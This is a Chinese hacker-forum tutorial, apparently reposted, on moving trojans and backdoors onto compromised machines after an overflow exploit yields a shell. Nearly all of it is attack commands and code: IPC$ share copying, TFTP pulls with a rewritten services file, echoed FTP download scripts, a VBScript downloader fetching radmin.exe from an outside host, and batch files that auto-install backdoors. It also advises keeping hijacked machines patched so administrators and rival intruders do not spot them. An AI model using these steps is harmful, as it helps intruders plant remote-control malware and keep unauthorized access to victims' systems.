溢出下shell下的文件上传

来源:互联网 发布:fresh极客少年团 知乎 编辑:程序博客网 时间:2024/04/27 13:00
随着网上溢出程序的流行经常能在BBS和群里看到象我等"快餐黑客"抱怨说溢出之后不知道怎样传送自己的木马,后门到肉鸡上。而没有在肉鸡上留下木马或后门进一步控制不能算是完成一次成功的入侵,所以我在此归纳了一下网上流行的溢出shell下传送文件的方法,希望能够对刚入门的新手朋友带来帮助。 
1.首先要说的是初学者最爱的IPC$共享传送方式了,用法很简单。先在溢出shell下建立一个管理员权限的帐号,然后在本地的CMD下与肉鸡进行连接,命令如下: 


net use /IP/共享目录(后面要大$) "密码" /user:"用户名" 
copy c:/file /IP/共享目录 
这里再提供一个思路,大家有没有想过其实我们也可以通过肉鸡来入侵我们自己的机器同样达到传送文件的目的,只是将上传改为下载。后面的命令改为 
copy /你的IP/共享目录/文件 c:/file 


大家可以根据这个思路活学活用。玩过MS03-049的朋友都知道这个溢出需要139,445端口,所以只要溢出成功就直接将对方的共享目录映射到本地,这样就剩得一条条打命令了,命令如下: 


net use z: /IP/共享目录 
如果对方把默认共享关闭了你可以在溢出shell下用net share命令开启,另外传完文件后记得得断开连接,命令:ne use z:/IP/共享目录 /del 


2.接着我们说一下很多朋友都用的tftp方式。首先你得拥有一个公网IP,然后去网上down一个tftpd32.exe,把它放到你要传送的文件的目录里运行一下就OK了。在溢出shell下执行命令: 
tftp -i 你的IP get xx.exe 
这样就完成了文件的传输,当管理员限制用TFTP传送文件,一般就是直接封69端口,修改默认69端口,TFTPD32.exe等TFTP服务端 
是可以自己设置端口的,这里就不多讲,只不过在设置后要重新启动一次 
TFTP服务端。至于客户端 


在system32/drivers/etc/文件夹下有一个services文件。打开如下: 
# Copyright ? 1993-1999 Microsoft Corp. 

# This file contains port numbers for well-known services defined by IANA 

# Format: 

# 〈service name〉 〈port number〉/〈protocol〉 [aliases...] [#〈comment〉] 



echo 7/tcp 
echo 7/udp 
discard 9/tcp sink null 
discard 9/udp sink null 
systat 11/tcp users #Active users 
systat 11/tcp users #Active users 
... 
tftp 69/udp #Trivial File Transfer 
... 
不难看出,69/udp就是定义tftp默认端口的,_blank〉协议为udp。具体怎么用只要这两句,其实就是比原来多加了一句改端口的: 
echo tftp 8300/udp 〉 %systemroot%/system32/drivers/etc/services 
tftp -i xxx.xxx.xxx.xxx get srv.exe 
注意:请先把tftp服务端端口设定为与自定义端口一样的,这里是8300。 
_blank〉安全点的做法: 
ren %systemroot%/system32/drivers/etc/services 1 
echo tftp 8300/udp 〉2 
copy 2+%systemroot%/system32/drivers/etc %systemroot%/system32/drivers/etc/services 


当然这个方法也不是每次都成功的,放火墙和管理员的防黑设置都能让你的文件传输失败。所以大家千万别老往一个死胡同走,有句话说得好,条条道路通罗马。 
3.下面我们继续说FTP方式,玩过溢出的都知道,在溢出shell下用FTP命令登陆_blank〉服务器输入用户名后没等输入密码CMD窗口就停顿在那里处于假死状态了。。所以大家通常是开启肉鸡的telnet服务,连接上去后Z再登陆FTP_blank〉服务器传输文件。或者是在肉鸡上写脚本,命令如下: 
echo ftp〉1.txt 
echo open xxx.xxx.xxx.xxx〉1.txt 
echo user〉〉1.txt 
echo pass〉〉1.txt 
echo bin〉〉1.txt 
echo get aoqi.rar〉〉1.txt 
echo bye〉〉1.txt 
ftp -s:1.txt 



完后用ftp -s:1.txt就可以自动下载了。 


ftp+自定义端口 
其实ftp自定义端口非常简单,只要在ip地址后面空格,紧跟自定义的端口就可以了,如下: 
echo open xxx.xxx.xxx.xxx 2121 〉ftp.txt 
echo user 〉〉ftp.txt 
echo password 〉〉ftp.txt 
echo bin 〉〉ftp.txt [可选] 
echo get aoqi.rar〉〉ftp.txt 
echo bye 〉〉ftp.txt 


ftp -s:ftp.txt 
这里自定义端口为2121,只要和ftp服务端的端口一致就行拉 


现在再说以下怎样直接在溢出shell下使用FTP传输文件而不用脚本完成。居我所知有2种方法:其一是将你的FTP_blank〉服务器设为匿名访问,这样直接用FTP命令登陆到_blank〉服务器就可以下载了。其二是将你的FTP的帐号密码设为空,但这样设置的FTP_blank〉服务器有一定危险性,大家记得把权限设为只能下载或者改一下FTP的端口.通过以下命令就可以下载了: 
C:/WINNT/system32〉ftp 
ftp 
open xxx.kmip.net 
User (danne.kmip.net:(none)): 1 
bin 
get 2.exe 
bye 



C:/WINNT/system32〉aoqi.exe //aoqi.exe是自解压缩包 
2.exe 



C:/WINNT/system32〉dir 1.bat //1.bat是后门自动安装批处理 
dir 1.bat 
驱动器 C 中的卷没有标签。 
卷的序列号是 1001-8227 



C:/WINNT/system32 的目录 



找不到文件 //这里我不知道为什么解压出来后第一次找文件总是找不到 



C:/WINNT/system32〉dir 2.bat //2.bat是radmin自动安装批处理 
dir 2.bat 
驱动器 C 中的卷没有标签。 
卷的序列号是 1001-8227 



C:/WINNT/system32 的目录 



2004-05-01 13:04 85 2.bat 
1 个文件 85 字节 
0 个目录 4,735,807,488 可用字节 





成功率有99%吧,也是本人我一直用的哦~推荐,只是需要自己架设一台FTP_blank〉服务器出来,可以在你机器上架,或者肉鸡上,我们要充分利用肉鸡嘛(另外多说两句,肉鸡要定期维护,勤打补丁,不要被同行搞去了或被管理员发现)~如果你没有FTP的话我可以提供. 


4.写程序下载 
脚本是非常好的东西,只要把源码保存到一个文件中就能运行。所以在shell下,用 
echo语句直接写到一个文件中,在用相应的解释程序执行就可以啦。这里是一个程序 
实例的简化: 
echo Set xPost = createObject("Microsoft.XMLHTTP") 〉iget.vbe 
echo xPost.Open "GET","http://softworks.512j.com/radmin.exe",0 〉〉iget.vbe
echo xPost.Send() 〉〉iget.vbe
echo Set sGet = createObject("ADODB.Stream") 〉〉iget.vbe
echo sGet.Mode = 3 〉〉iget.vbe
echo sGet.Type = 1 〉〉iget.vbe 
echo sGet.Open() 〉〉iget.vbe
echo sGet.Write(xPost.responseBody) 〉〉iget.vbe
echo sGet.SaveToFile "radmin.exe",2 〉〉iget.vbe
然后执行cscript 167168.vbs就可以啦.其中,http://167168.meibu.com/srv.exe改成你放 
文件的网站路径,srv.exe可以改成保存文件的路径。 


5.start its:http://167168.meibu.com/ca.rar (看清楚,小心论坛自动加的标签) 
cd "C:/Documents and Settings/Default User/Local Settings/Temporary Internet Files/Content.IE5/" (假设系统装在c盘,且当前环境是SYSTEM。如果是用户环境,修改Default User为该用户名) 
dir /s ca[1].rar 
然后会显示ca[1].rar的具体位置,比如C:/Documents and Settings/Default User/Local Settings/Temporary Internet Files/Content.IE5QMVC11H/ca[1].rar 
最后: 
copy 0QMVC11H/ca[1].rar c:/winnt/system32/ca.rar 
del 0QMVC11H/ca[1].rar 



总结了这5种常规方法,其实还有一些非常规的方法也可以,比如建立好管理员帐号后用Dame Ware远程控制工具远程安装后用它的文件传送功能等等.这里我就不说了~一般掌握上面5种方法后相信传送文件不是难题了~另外如果大家还有其他方法也希望告诉小弟,可以到http://167168.kmip.net来找我。



############################################################################################iget.vbe 脚本代码。


Set xPost = createObject("Microsoft.XMLHTTP") 
xPost.Open "GET","http://softworks.512j.com/radmin.exe",0 
xPost.Send() 
Set sGet = createObject("ADODB.Stream") 
sGet.Mode = 3 
sGet.Type = 1 
sGet.Open() 
sGet.Write(xPost.responseBody) 
sGet.SaveToFile "radmin.exe",2 



iLocal = LCase(WScript.Arguments(1)) 
iRemote = LCase(WScript.Arguments(0)) 
Set xPost = createObject("Microsoft.XMLHTTP") 
xPost.Open "GET",iRemote,0 
xPost.Send() 
Set sGet = createObject("ADODB.Stream") 
sGet.Mode = 3 
sGet.Type = 1 
sGet.Open() 
sGet.Write(xPost.responseBody) 
sGet.SaveToFile iLocal,2 
原创粉丝点击